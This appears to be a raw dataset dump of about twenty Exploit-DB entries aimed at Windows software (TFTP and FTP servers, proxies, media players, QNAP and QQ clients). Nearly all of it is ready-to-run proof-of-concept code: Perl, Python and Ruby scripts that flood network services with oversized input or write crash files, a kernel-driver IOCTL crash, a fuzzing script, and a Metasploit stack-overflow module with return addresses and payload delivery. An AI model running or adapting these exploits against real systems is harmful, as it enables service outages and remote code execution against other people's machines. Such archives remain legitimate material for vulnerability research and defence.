deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3432
Description: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - 'UDP' Denial of Service
Type: dos
Platform: windows
Date: 2007-03-08
Author: Umesh Wanve

Exploit:
#!/usr/bin/perl
#
#                            TFTPDWIN Server UDP DOS 0.4.2 POC 
#			            written By : Umesh Wanve (umesh_345@yahoo.com)
#	
#-------------------------------------------------------------------------------

# TFTPDWIN Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://www.tftpserver.prosysinfo.com.pl)
# A vulnerability has been identified in TFTP Server TFTPDWIN Server v0.4.2, which 
# could be exploited by remote or local attackers to execute arbitrary commands 
# or cause a denial of service. This flaw is when attacker sends UDP packet of length more than 516 bytes

#

#----------------------------Start of Code-------------------------------------



use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "69",

Proto    => "UDP"))
{
                
                 print $socket "A" x 517;
                 sleep(1);
			
                
                 close($socket);
}
else
{
                 print "Cannot connect to $ARGV[0]:69\n";
}

# milw0rm.com [2007-03-08]
Exploit-DB #15635
Description: Provj 5.1.5.5 - '.m3u' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-11-30
Author: 0v3r

Exploit:
# Exploit Title: Provj 5.1.5.5 (m3u) Buffer Overflow Vulnerability PoC
# Date: 11/30/2010
# Author: 0v3r
# Software Link: http://www.clubdjpro.com/files/provj5.exe
# Version: 5.1.5.5
# Tested on: Windows XP SP3 EN
# CVE: N/A


#!/usr/bin/python

buff = "\x41" * 5000 

try:
 	f = open("exploit.m3u",'w')
	f.write(buff)
	f.close()
	print "[-] File created!\n" 
except:
	print "[-] Error occured!\n"
Exploit-DB #29546
Description: Provj 5.1.5.8 - 'm3u' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2013-11-12
Author: Necmettin COSKUN

Exploit:
#!/usr/bin/env ruby
# coding:UTF-8
# Exploit Title:Provj v5.1.5.8 Buffer Overflow (Poc)
# Author:Necmettin COSKUN => twitter.com/babayarisi
# Vendor :http://www.clubdjpro.com
# Software link:http://www.clubdjpro.com/files/provj5.exe
# version: v5.1.5.8
# Tested on: windows XP sp2

puts "1.Start Program With Trial Mode"
puts "2.Load Playlist .m3u"
puts "3.Don't be evil"

KESST = "A" * 5800

File.open('poj.m3u', 'w') do |bofdosya|  
bofdosya.puts (KESST)
bofdosya.close()
end
Exploit-DB #22794
Description: Proxomitron Proxy Server - GET Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-06-17
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/7954/info

It has been reported that Proxomitron does not properly handle some string types. Because of this, an attacker can cause the server to become unstable and crash. 

GET /../..0%%../ * (4504 chars)
GET \..\..\..\ * (4504 chars)
Exploit-DB #16790
Description: PSOProxy 0.91 - Stack Buffer Overflow (Metasploit)
Type: dos
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: psoproxy91_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PSO Proxy v0.91 Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
				If a client sends an excessively long string the stack is overwritten.
			},
			'Author'         => 'Patrick Webster <patrick@aushack.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2004-0313' ],
					[ 'OSVDB', '4028' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/156' ],
					[ 'BID', '9706' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 370,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
				# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
					[ 'Windows 2000 Pro SP0-4 English',  { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
					[ 'Windows 2000 Pro SP0-4 French',   { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
					[ 'Windows 2000 Pro SP0-4 Italian',  { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
					[ 'Windows XP Pro SP0/1 English',    { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
					[ 'Windows XP Pro SP2 English',	     { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 20 2004'
			))

		register_options(
			[
				Opt::RPORT(8080),
			], self.class)
	end

	def check
		connect
		sock.put("GET / HTTP/1.0\r\n\r\n")
		banner = sock.get(-1,3)
		if (banner =~ /PSO Proxy 0\.9/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		exploit = rand_text_alphanumeric(1024, payload_badchars)
		exploit += [target['Ret']].pack('V') + payload.encoded

		sock.put(exploit + "\r\n\r\n")

		disconnect
		handler
	end
end
Exploit-DB #6838
Description: PumpKIN TFTP Server 2.7.2.0 - Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2008-10-25
Author: Saint Patrick

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Udp
	

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'PumpKIN TFTP Server DoS',
			'Description'    => %q{
				PumpKIN TFTP Server 2.7.2.0 eventually reaches a DoS condition when
				provided with an overly long mode value.  It'll take a minute. 
				This condition is reached quicker when hammered repeatedly.
			},
			'Author'         => ['Saint Patrick','monStream00'],
			'License'        => MSF_LICENSE,
			'Version'        => '7',
			'DisclosureDate' => 'Oct 25 2008'))

		register_options([
			OptInt.new('MULTIPLE', [ false, 'How many times to send (more kills it faster)', 1 ])
		])
	end

	def run
		
		print_status("Sending bad data...")
		
		crapfile=Rex::Text.rand_text_english(4,"\x00")
		crapdata=Rex::Text.rand_text_english(8000,"\x00")
		lamestring="\x00\x02"+crapfile+"\x00"+crapdata+"\x00"
		mul=datastore['MULTIPLE']
		0.upto(mul) do
			connect_udp
			udp_sock.put(lamestring)
			sleep 1
			disconnect_udp
		end

		print_status("PumpKIN TFTP daemon is choking...")

	end
end

# milw0rm.com [2008-10-25]
Exploit-DB #38747
Description: Pwstore - Denial of Service
Type: dos
Platform: windows
Date: 2013-04-16
Author: Josep Pi Rodriguez

Exploit:
source: https://www.securityfocus.com/bid/62112/info

pwStore is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the application, denying service to legitimate users.

pwStore 2010.8.30.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/env python
from sulley import *
import sys
import time

s_initialize("HTTP")

s_static("GET / HTTP/1.1\r\n")
s_static("Host")
s_static(":\x0d\x0a")
s_static(" ")
s_string("192.168.1.39")
s_static("\r\n")
s_static("\r\n")

print "Instantiating session"
sess = sessions.session(session_filename="https_pwstore.session", proto="ssl", sleep_time=0.50)
print "Instantiating target"
target = sessions.target("192.168.1.39", 443)
#target.procmon = pedrpc.client("127.0.0.1", 26002)
#target.netmon = pedrpc.client("127.0.0.1", 26001)

target.procmon_options =  {
    "proc_name" : "savant.exe",
    "stop_commands" : ['wmic process where (name="savant.exe") delete"'],
    "start_commands" : ['C:\\savant\\savant.exe'],
}


print "Adding target"
sess.add_target(target)

print "Building graph"
sess.connect(s_get("HTTP"))

print "Starting fuzzing now"
sess.fuzz()
Exploit-DB #42962
Description: PyroBatchFTP 3.17 - Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2017-10-07
Author: Kevin McGuigan

Exploit:
#!/usr/bin/python
  
print "PyroBatchFTP Local Buffer Overflow (SEH) Server"

#Author: Kevin McGuigan @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.emtech.com
#Date: 07/10/2017
#Version: 3.17
#Tested on: Windows 7 32-bit
#CVE: CVE-2017-15035

 
import socket
import sys

buffer="A" * 2292 +   "B" * 4 + "C" * 4 + "D" * 800
port = 21
 
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[+] FTP server started on port: "+str(port)+"\r\n")
except:
        print("[+] Failed to bind the server to port: "+str(port)+"\r\n")
 
while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to PyoBatchFTP Overflow!\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')
Exploit-DB #43548
Description: PyroBatchFTP < 3.19 - Buffer Overflow
Type: dos
Platform: windows
Date: 2018-01-12
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2018-001
- Original release date: December 22, 2017
- Last revised:  January 12, 2018
- Discovered by: Manuel García Cárdenas
- Severity: 7,5/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
PyroBatchFTP <= 3.18 - Local Buffer Overflow (SEH)

II. BACKGROUND
-------------------------
PyroBatchFTP is a Windows software that lets you exchange files with FTP,
FTPS or SFTP servers in an automatic and unattended way, using a simple yet
powerful batch/script language.

III. DESCRIPTION
-------------------------
The Enterprise version of PyroBatchFTP is affected by a Local Buffer
Overflow vulnerability.

The application does not check bounds when reading the file that will
execute the script, resulting in a classic Buffer Overflow overwriting SEH
handler.

To exploit the vulnerability only is needed create a local script to
interact with the application.

IV. PROOF OF CONCEPT
-------------------------

my $file= "crash.cmd";
my $junk= "A" x 2052;
my $nseh = "BBBB";
my $seh = "CCCC";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh;
close($FILE);
print "File Created successfully\n";

V. BUSINESS IMPACT
-------------------------
Availability compromise can result from these attacks.

VI. SYSTEMS AFFECTED
-------------------------
PyroBatchFTP <= 3.18

VII. SOLUTION
-------------------------
Vendor release 3.19 version
http://www.emtec.com/downloads/pyrobatchftp/pyrobatchftp319_changes.txt

VIII. REFERENCES
-------------------------
https://www.emtec.com/pyrobatchftp/index.html

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
December 22, 2017 1: Initial release
January 12, 2018 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
December 22, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
December 22, 2017 2: Send to vendor
January 12, 2018 3: Vendor fix the vulnerability and release a new version
January 12, 2018 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #37727
Description: Python IDLE 2.7.8 - Crash (PoC)
Type: dos
Platform: windows
Date: 2015-08-07
Author: Hadi Zomorodi Monavar

Exploit:
#!/usr/bin/env python
# Title : Python IDLE 2.7.8  - Crash Proof Of Concept
# Website : http://www.python.org/idle/
# Tested : Windows 7 / Windows 8.1
#
#
# Author      :   Hadi Zomorodi Monavar
# Email       :   zomorodihadi@gmail.com
#
# 1 . run python code : python poc.py
# 2 . open r3z4.txt and copy content to clipboard
# 3 . open "python 2.7.8 IDLE"
# 4 . from Menu (edit --> find)
# 5 . Paste ClipBoard on "find"
# 6 . Enter
# 7 . Crashed ;)

crash = "\x41"*900000 #B0F
file = open("r3z4.txt", "w")
file.write(crash)
file.close()
Exploit-DB #19410
Description: Qbik WinGate 3.0/Pro 4.0.1/Standard 4.0.1 - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 1999-02-22
Author: Prizm

Exploit:
source: https://www.securityfocus.com/bid/509/info

WinGate's Winsock redirector service is susceptible to a buffer overflow vilnerability that will crash all WinGate services.

#!/usr/bin/python
#
# Qbik Wingate 3.0 DoS Proof of Concept Code.
# Vulnerability Discovered by eEye Digital Security
Team(http://www.eEye.com)
# Simple Script by Prizm(Prizm@Resentment.org)
# 
# By connecting to port 2080 on a system running Qbik Wingate 3.0 and
# sending 2000
# characters, all wingate services will crash.
# *Solution* Upgrade to 4.0.1, version is not vulnerable to this Denial of
# Service attack. 
#
# This *simple* little script will crash all wingate services.


import socket
import sys
from string import strip

host="xxx.xxx.xxx.xxx" # Replace x's with IP.
port=2080
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
  s.connect(host,port)
  print "connection succeeded."
except socket.error, e:
  print "connection failed, " + e.args

s.send("A" * 2000)

#end
Exploit-DB #48732
Description: QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-08-05
Author: Luis Martínez

Exploit:
# Exploit Title: QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2020-08-03
# Vendor Homepage: https://www.qlik.com
# Software Link: https://www.qlik.com/us/trial/qlik-sense-business
# Tested Version: 12.50.20000.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: QlikView_12.50.20000.0.py
# 2.- Open QlikView_12.50.20000.0.txt and copy content to clipboard
# 3.- Open "QlikView 12"
# 4.- File -> "Open FTP ..."
# 5.- Paste ClipBoard on "FTP Server Address"
# 6.- Connect
# 7.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 300
f = open ("QlikView_12.50.20000.0.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45749
Description: QNAP NetBak Replicator 4.5.6.0607 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-10-30
Author: Yair Rodríguez Aparicio

Exploit:
# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 Denial of Service (PoC)
# Date: 2018-10-29
# Exploit Author: Yair Rodríguez Aparicio
# Vendor Homepage: https://www.qnap.com/en/
# Software Link: https://www.qnap.com/en/download
# Version: 4.5.6.0607
# Tested on: Windows XP Profesional Español SP3 x86 

# Steps to Produce the Crash:
# 1.- Run python code : python qnap.py
# 2.- Open text.txt and copy content to clipboard
# 3.- Open NetBak Replicator.exe
# 4.- click on Restauración Instantánea
# 5.- Seleccione Origen -> "Ubicacion de red"
# 6.- click on "Dirección URL WebDAV"
# 7.- Paste ClipBoard on "Dirección URL WebDAV"
# 8.- Click "Aceptar".
# 9.- Crashed!
 

 
buffer = "\x41" * 5000
f = open("text.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #38650
Description: QNap QVR Client 5.1.0.11290 - Crash (PoC)
Type: dos
Platform: windows
Date: 2015-11-07
Author: Luis Martínez

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title	: QNap QVR Client 5.1.0.11290 Crash PoC
# Discovery by	: Luis Martínez
# Email		: l4m5@hotmail.com
# Discovery Date	: 05/11/2015
# Vendor Homepage: http://www.qnapsecurity.com/n/en/
# Software Link	: http://download.qnap.com/Surveillance/Utility/QMon_20150630.zip
# Tested Version	: 5.1
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS	: Windows 10 Pro x64 es
# Steps to Produce the Crash: 
# 1.- Run python code : python qvr_client_5.1.py
# 2.- Open qvr_client_5.1.txt and copy content to clipboard
# 3.- Open QVR Client
# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80
# 5.- Paste ClipBoard on "Nombre de Usuario"
# 6.- Contraseña -> test
# 7.- Aceptar
# 8.- Crashed

buffer = "\x41" * 260
f = open ("qvr_client_5.1.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45092
Description: QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-07-27
Author: Luis Martínez

Exploit:
# Exploit Title: QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martínez
# Discovery Date: 2018-07-26
# Vendor Homepage: https://www.qnapsecurity.com/n/en/
# Software Link : http://download.qnap.com/Surveillance/QVRClient/Qmon_5.1.1.30070.zip
# Tested Version: 5.1.1.30070
# Vulnerability Type:   Denial of Service (DoS) Local
# Tested on OS:         Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python QNap_QVR_Client_5.1.1.30070.py
# 2.- Open QNap_QVR_Client_5.1.1.30070.txt and copy content to clipboard
# 3.- Open QVR.exe
# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80
# 5.- Username -> admin
# 6.- Paste ClipBoard on Password
# 7.- OK
# 8.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 279
f = open ("QNap_QVR_Client_5.1.1.30070.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #19619
Description: QPC Software QVT Term 4.3/QVT/Net 4.3 Suite FTP Server - Denial of Service
Type: dos
Platform: windows
Date: 1999-11-10
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/796/info

The FTP server that ships with QPC's QVT line of products is vulnerable to a denial of service attack. The FTP server has an unchecked buffer in the logon function. If a username/password pair is specified that is longer than 2000 characters combined, the server will drop the connection with an 'authentication failed' message. The next time someone tries to connect, the server will crash. 

19619-2.exe - binary
19619-1.zip - source 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19619-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19619-2.exe
Exploit-DB #14584
Description: QQ Computer Manager - 'TSKsp.sys' Local Denial of Service
Type: dos
Platform: windows
Date: 2010-08-09
Author: Lufeng Li

Exploit:
#!/usr/bin/python

#################################################################
#
# Title: QQ Computer Manager TSKsp.sys Local Denial of Service Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: http://pcmgr.qq.com
# Vulnerable App: http://dl_dir2.qq.com/invc/qqmaster/setup/QQPCMgr_Setup.exe
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQpcmgr v4.0Beta1
# Vulnerable: QQpcmgr<=v4.0Beta1
# 
#################################################################
from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2

    DEVICE_NAME   = "\\\\.\\tsksp"
    dwReturn      = c_ulong()
    out_data      = ''
    in_data       = ''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
						0, None, CREATE_ALWAYS, 0, None)
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x22e01c, in_data,0, out_data, 0,byref(dwReturn), None)
Exploit-DB #14937
Description: QQPlayer 2.3.696.400p1 - '.wav' Denial of Service
Type: dos
Platform: windows
Date: 2010-09-07
Author: s-dz

Exploit:
#!/usr/bin/python
#
###########################################################################################		
# Exploit Title:  QQPlayer 2.3.696.400p1(.wav) Denial of Service Vulnerability       
# Date:		  07-09-2010                                                            
# Author:	  Hadji Samir   , s-Dz[at]hotmail[dot]fr                                
# Software Link:  www.qq.com                                                            
# Version:        QQPlayer 2.3.696.400p1                                                
# Tested on:	  Windows XP sp2                                                        
# CVE :                                                                                 
# Notes:	  Working with filetype Mahboul-3lik.wav (.mp3,.3gp,.avi...)           
#                 Samir tjrs mahboul-3lik ...                                           
#                                                                                                                                
###########################################################################################	
  
boom =("\x52\x49\x46\x46\x24\x80\x03\x20\x57\x41\x56\x45\x20")
buff = ("\x41" * 50000 )
wizz = open("Mahboul-3lik.wav","w") 
wizz.write(boom + buff ) 
wizz.close()
Exploit-DB #21991
Description: QQPlayer 3.7.892 - m2p 'quartz.dll' Heap Pointer Overwrite (PoC)
Type: dos
Platform: windows
Date: 2012-10-15
Author: James Ritchey

Exploit:
# Exploit Title: QQPlayer 3.7.892 m2p quartz.dll heap pointer overwrite PoC
# Date: 10/14/2012
# Author: James Ritchey
# Vendor Homepage: www.qq-player.com
# Software Link: http://www.qq-player.com/download_en.php
# Version: 3.7.892
# Tested on: Windows XP SP3


l = 3315716 * "A"
s1 = ((0,'\x00\x00\x01\xba'), (2048, '\x00\x00\x01\xba'),
      (3289120, '\x00\x00\x01\xe0\x07'), (3289273, '\x00\x00\x01\xb3'),
      (3289283, '\xba'), (3289452, '\x42\x42\x42\x42'),
      (3289468, '\x00\x00\x01\x00'), (3290359, '\x00\x00\x01\x00'),
      (3301408, '\x00\x00\x01\xe0\x07'), (3303112, '\x00\x00\x01\x00'))
# EAX overwrite(3289452, '\x42\x42\x42\x42') call eax+0x24

o = open("c:\\poc.m2p","wb")
o.write(l)

for i in range(len(s1)):
    o.seek(s1[i][0], 0)
    o.write(s1[i][1])

o.close()
Exploit-DB #34227
Description: Qt 4.6.3 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-06-29
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41250/info

Qt is prone to a denial-of-service vulnerability caused by an infinite loop condition.

An attacker can exploit this issue to make the affected application unresponsive, denying service to legitimate users.

The issue affects Qt versions 4.6.3 and prior. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34227.zip